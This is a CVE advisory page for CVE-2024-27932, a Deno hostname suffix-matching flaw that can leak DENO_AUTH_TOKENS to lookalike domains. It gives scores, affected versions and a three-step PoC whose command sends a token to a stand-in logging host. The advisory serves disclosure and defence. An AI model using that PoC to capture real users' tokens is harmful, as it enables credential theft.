CVE-2024-27932
JSON

4.6medium

Deno's improper suffix match testing for DENO_AUTH_TOKENS

Severity
4.6medium CVSS:3.1 by GitHub_M
Exploit likelihood
0.59% (higher than 49% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-5frw-4rwq-xhcr

Description

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 1.8.0 and prior to version 1.40.4, Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example[.]com` may be sent to `notexample[.]com`. Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected. Version 1.40.0 contains a patch for this issue

Affected

Product or packageVersionsReported by
denoland deno>= 1.8.0, < 1.40.4, from 1.8.0 before 1.40.4CVE List
deno (crates.io)from 1.8.0 before 1.40.4GitHub Advisory Database
deno denofrom 1.8.0 before 1.40.4NVD

All scores

GitHub_M4.6medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
GitHub4.6medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
NVD4.6medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Classification

CWE-20

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

Deno is a JavaScript, TypeScript, and WebAssembly runtime. Starting in version 1.8.0 and prior to version 1.40.4, Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for `example[.]com` may be sent to `notexample[.]com`. Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected. Version 1.40.0 contains a patch for this issue

GitHub Advisory Database
Summary

Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.

Details

auth_tokens.rs uses a simple ends_with check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.

PoC
  • Set up a server that logs requests. RequestBin will do. For example, denovulnpoc.example.com.
  • Run DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain. For example, DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com
  • Observe that the token intended only for the truncated domain is sent to the full domain
Impact

What kind of vulnerability is it? Who is impacted? Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.

NVD (es)

Deno es un tiempo de ejecución de JavaScript, TypeScript y WebAssembly. A partir de la versión 1.8.0 y antes de la versión 1.40.4, Deno verifica incorrectamente que el nombre de host de un especificador de importación sea igual o hijo del nombre de host de un token, lo que puede causar que los tokens se envíen a servidores a los que no deberían enviarse. Un token de autenticación destinado a `example[.]com` puede enviarse a `notexample[.]com`. Cualquiera que utilice DENO_AUTH_TOKENS e importe código potencialmente no confiable se verá afectado. La versión 1.40.0 contiene un parche para este problema

References

Sources

SourceRecordLicence
CVE ListCVE-2024-27932 changed 2024-08-05CVE Terms of Use
GitHub Advisory DatabaseGHSA-5frw-4rwq-xhcr changed 2026-09-10CC-BY-4.0
NVDCVE-2024-27932 changed 2026-06-17Public domain